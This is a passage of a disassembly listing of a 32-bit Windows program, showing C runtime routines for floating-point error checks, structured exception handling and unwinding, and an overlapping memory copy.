		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41945F
		call	sub_41E291
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_419442
		cmp	eax, 2
		jle	short loc_419434
		cmp	eax, 3
		jnz	short loc_419442
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41DBA1
		add	esp, 10h
		jmp	short loc_4194A4
; ---------------------------------------------------------------------------


loc_419434:				; CODE XREF: sub_4193D9+3Fj
		push	esi
		push	ebx
		call	sub_41E3C9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_4194A4
; ---------------------------------------------------------------------------


loc_419442:				; CODE XREF: sub_4193D9+3Aj
					; sub_4193D9+44j
		fld	[ebp+arg_0]
		fadd	dbl_424700
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41949C
; ---------------------------------------------------------------------------


loc_41945F:				; CODE XREF: sub_4193D9+2Fj
		call	sub_41E256
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_419482


loc_419474:				; CODE XREF: sub_4193D9+ACj
		push	esi
		push	ebx
		call	sub_41E3C9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_4194A4
; ---------------------------------------------------------------------------


loc_419482:				; CODE XREF: sub_4193D9+99j
		test	bl, 20h
		jnz	short loc_419474
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41949C:				; CODE XREF: sub_4193D9+84j
		call	sub_41DBF4
		add	esp, 1Ch


loc_4194A4:				; CODE XREF: sub_4193D9+59j
					; sub_4193D9+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4193D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194A8	proc near		; CODE XREF: sub_4184E4+9p
					; sub_41E492+21p
					; DATA XREF: ...
		call	sub_4194C0
		call	sub_41E492
		mov	dword_4DCDC8, eax
		call	sub_41E442
		fnclex
		retn
sub_4194A8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4194C0	proc near		; CODE XREF: sub_4194A8p
		mov	eax, offset sub_41E880
		mov	off_43F834, offset sub_41E515
		mov	off_43F830, eax
		mov	off_43F838, offset sub_41E57B
		mov	off_43F83C, offset sub_41E4BB
		mov	off_43F840, offset sub_41E563
		mov	off_43F844, eax
		retn
sub_4194C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4194F8	proc near		; CODE XREF: sub_40C03A+1Bp
					; sub_40C03A+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_4194F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41951F(double)

sub_41951F	proc near		; CODE XREF: sub_40C086+83p
					; sub_40CA12+3AEp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43D238
		call	sub_41E3C9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_4195A5
		call	sub_41E291
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_419588
		cmp	eax, 2
		jle	short loc_41957A
		cmp	eax, 3
		jnz	short loc_419588
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41DBA1
		add	esp, 10h
		jmp	short loc_4195EA
; ---------------------------------------------------------------------------


loc_41957A:				; CODE XREF: sub_41951F+3Fj
		push	esi
		push	ebx
		call	sub_41E3C9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_4195EA
; ---------------------------------------------------------------------------


loc_419588:				; CODE XREF: sub_41951F+3Aj
					; sub_41951F+44j
		fld	[ebp+arg_0]
		fadd	dbl_424700
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_4195E2
; ---------------------------------------------------------------------------


loc_4195A5:				; CODE XREF: sub_41951F+2Fj
		call	sub_41E256
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_4195C8


loc_4195BA:				; CODE XREF: sub_41951F+ACj
		push	esi
		push	ebx
		call	sub_41E3C9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_4195EA
; ---------------------------------------------------------------------------


loc_4195C8:				; CODE XREF: sub_41951F+99j
		test	bl, 20h
		jnz	short loc_4195BA
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_4195E2:				; CODE XREF: sub_41951F+84j
		call	sub_41DBF4
		add	esp, 1Ch


loc_4195EA:				; CODE XREF: sub_41951F+59j
					; sub_41951F+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41951F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4195EE	proc near		; CODE XREF: sub_41ECF1+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_4195EE	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_419622	proc near		; CODE XREF: sub_41EEA2+199p
					; sub_41F066+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_419622	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419629	proc near		; CODE XREF: sub_41EEA2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_419629	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419630	proc near		; CODE XREF: sub_4197E2+5Cp
					; sub_41ECF1:loc_41ED22p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_419658
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4233DC	; RtlUnwind


loc_419658:				; DATA XREF: sub_419630+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_419630	endp

; ---------------------------------------------------------------------------


loc_41967F:				; CODE XREF: .nsp0:00423538j
					; .nsp0:00423555j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41E8F6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196B5	proc near		; CODE XREF: sub_41ED6C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_419709
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41F0F0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_4196B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419709	proc near		; DATA XREF: sub_4196B5+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41E8F6
		add	esp, 20h
		pop	ebp
		retn
sub_419709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41972E	proc near		; CODE XREF: sub_41EB38+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4197E2
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_4197B4
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DCE24
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_4197B4:				; DATA XREF: sub_41972E+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_4197D1
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4197DA
; ---------------------------------------------------------------------------


loc_4197D1:				; CODE XREF: sub_41972E+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4197DA:				; CODE XREF: sub_41972E+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41972E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197E2	proc near		; DATA XREF: sub_41972E+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_419805
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_419852
; ---------------------------------------------------------------------------


loc_419805:				; CODE XREF: sub_4197E2+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41E8F6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_419843
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_419630


loc_419843:				; CODE XREF: sub_4197E2+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_419852:				; CODE XREF: sub_4197E2+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4197E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419857	proc near		; CODE XREF: sub_41E991+C6p
					; sub_41EB38+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_4198AE


loc_419875:				; CODE XREF: sub_419857+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41987F
		call	sub_41F192


loc_41987F:				; CODE XREF: sub_419857+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_419894
		cmp	ecx, [eax+8]
		jle	short loc_419899


loc_419894:				; CODE XREF: sub_419857+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4198A5


loc_419899:				; CODE XREF: sub_419857+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_4198A5:				; CODE XREF: sub_419857+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_419875
		mov	eax, [ebp+var_4]


loc_4198AE:				; CODE XREF: sub_419857+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_4198C2
		cmp	esi, eax
		jbe	short loc_4198C7


loc_4198C2:				; CODE XREF: sub_419857+65j
		call	sub_41F192


loc_4198C7:				; CODE XREF: sub_419857+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_419857	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198D4	proc near		; CODE XREF: sub_41FFCC+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4198EC
		push	[ebp+arg_0]
		call	sub_4233DC	; RtlUnwind


loc_4198EC:				; DATA XREF: sub_4198D4+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4198D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198F4	proc near		; DATA XREF: sub_419916+Ao
					; sub_41997E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_419915
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_419915:				; CODE XREF: sub_4198F4+10j
		retn
sub_4198F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_419916	proc near		; CODE XREF: sub_41EE12+Dp
					; sub_41FFCC+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4198F4
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_419933:				; CODE XREF: sub_419916:loc_41996Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_419970
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_419970
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41996E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4199AA
		call	dword ptr [ebx+esi*4+8]


loc_41996E:				; CODE XREF: sub_419916+44j
		jmp	short loc_419933
; ---------------------------------------------------------------------------


loc_419970:				; CODE XREF: sub_419916+2Aj
					; sub_419916+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419916	endp


; =============== S U B	R O U T	I N E =======================================



sub_41997E	proc near		; CODE XREF: sub_41EE32+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4198F4
		jnz	short locret_4199A0
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4199A0
		mov	eax, 1

locret_4199A0:				; CODE XREF: sub_41997E+10j
					; sub_41997E+1Bj
		retn
sub_41997E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199A1	proc near		; CODE XREF: sub_41F0F0+1Ep
					; sub_41F0F0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43D23C
		jmp	short loc_4199B4
sub_4199A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AA	proc near		; CODE XREF: sub_419916+4Fp
					; sub_41FFCC+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43D23C
		mov	ecx, [ebp+8]


loc_4199B4:				; CODE XREF: sub_4199A1+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4199AA	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4199C4	proc near		; CODE XREF: sub_40C086+5p
					; sub_40C225+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4199C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199E3	proc near		; CODE XREF: sub_40C6B8+22p
					; .nsp0:004231B5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417E11
		pop	ecx
		retn
sub_4199E3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199F0	proc near		; CODE XREF: sub_40C725+3Ap
					; sub_41AA82+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_419A10
		cmp	edi, eax
		jb	loc_419B88


loc_419A10:				; CODE XREF: sub_4199F0+16j
		test	edi, 3
		jnz	short loc_419A2C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_419A4C
		rep movsd
		jmp	off_419B38[edx*4]
; ---------------------------------------------------------------------------


loc_419A2C:				; CODE XREF: sub_4199F0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_419A44
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_419A4C+4[eax*4]
; ---------------------------------------------------------------------------


loc_419A44:				; CODE XREF: sub_4199F0+46j
		jmp	dword ptr loc_419B48[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_419A4C:				; CODE XREF: sub_4199F0+31j
					; sub_4199F0+8Ej ...
		jmp	off_419ACC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_419A60
		dd offset loc_419A8C
		dd offset loc_419AB0
; ---------------------------------------------------------------------------


loc_419A60:				; DATA XREF: sub_4199F0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_419A4C
		rep movsd
		jmp	off_419B38[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_419A8C:				; DATA XREF: sub_4199F0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_419A4C
		rep movsd
		jmp	off_419B38[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419AB0:				; DATA XREF: sub_4199F0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_419A4C
		rep movsd
		jmp	off_419B38[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_419ACC	dd offset loc_419B2F	; DATA XREF: sub_4199F0:loc_419A4Cr
		dd offset loc_419B1C
		dd offset loc_419B14
		dd offset loc_419B0C
		dd offset loc_419B04
		dd offset loc_419AFC
		dd offset loc_419AF4
		dd offset loc_419AEC
; ---------------------------------------------------------------------------


loc_419AEC:				; CODE XREF: sub_4199F0:loc_419A4Cj
					; DATA XREF: sub_4199F0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_419AF4:				; CODE XREF: sub_4199F0:loc_419A4Cj
					; DATA XREF: sub_4199F0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_419AFC:				; CODE XREF: sub_4199F0:loc_419A4Cj
					; DATA XREF: sub_4199F0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_419B04:				; CODE XREF: sub_4199F0:loc_419A4Cj
					; DATA XREF: sub_4199F0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_419B0C:				; CODE XREF: sub_4199F0:loc_419A4Cj
					; DATA XREF: sub_4199F0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_419B14:				; CODE XREF: sub_4199F0:loc_419A4Cj
					; DATA XREF: sub_4199F0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_419B1C:				; CODE XREF: sub_4199F0:loc_419A4Cj
					; DATA XREF: sub_4199F0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419B2F:				; CODE XREF: sub_4199F0:loc_419A4Cj
					; DATA XREF: sub_4199F0:off_419ACCo
		jmp	off_419B38[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_419B38	dd offset loc_419B48	; DATA XREF: sub_4199F0+35r
					; sub_4199F0+92r ...
		dd offset loc_419B50
		dd offset loc_419B5C
		dd offset loc_419B70
; ---------------------------------------------------------------------------


loc_419B48:				; CODE XREF: sub_4199F0+35j
					; sub_4199F0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419B50:				; CODE XREF: sub_4199F0+35j
					; sub_4199F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419B5C:				; CODE XREF: sub_4199F0+35j
					; sub_4199F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419B70:				; CODE XREF: sub_4199F0+35j
					; sub_4199F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419B88:				; CODE XREF: sub_4199F0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_419BBC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_419BB0
		std
		rep movsd
		cld
		jmp	off_419CD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419BB0:				; CODE XREF: sub_4199F0+1B1j
					; sub_4199F0+208j ...
		neg	ecx
		jmp	off_419C80[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_419BBC:				; CODE XREF: sub_4199F0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_419BD4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_419BD4+4[eax*4]
; ---------------------------------------------------------------------------


loc_419BD4:				; CODE XREF: sub_4199F0+1D6j
					; DATA XREF: sub_4199F0+1DDr
		jmp	off_419CD0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_419BE7+1
; ---------------------------------------------------------------------------
		or	[ecx+eax*2+419C3000h], bl


loc_419BE7:				; DATA XREF: sub_4199F0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_419BB0
		std
		rep movsd
		cld
		jmp	off_419CD0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_419BB0
		std
		rep movsd
		cld
		jmp	off_419CD0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_419BB0
		std
		rep movsd
		cld
		jmp	off_419CD0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_419C84
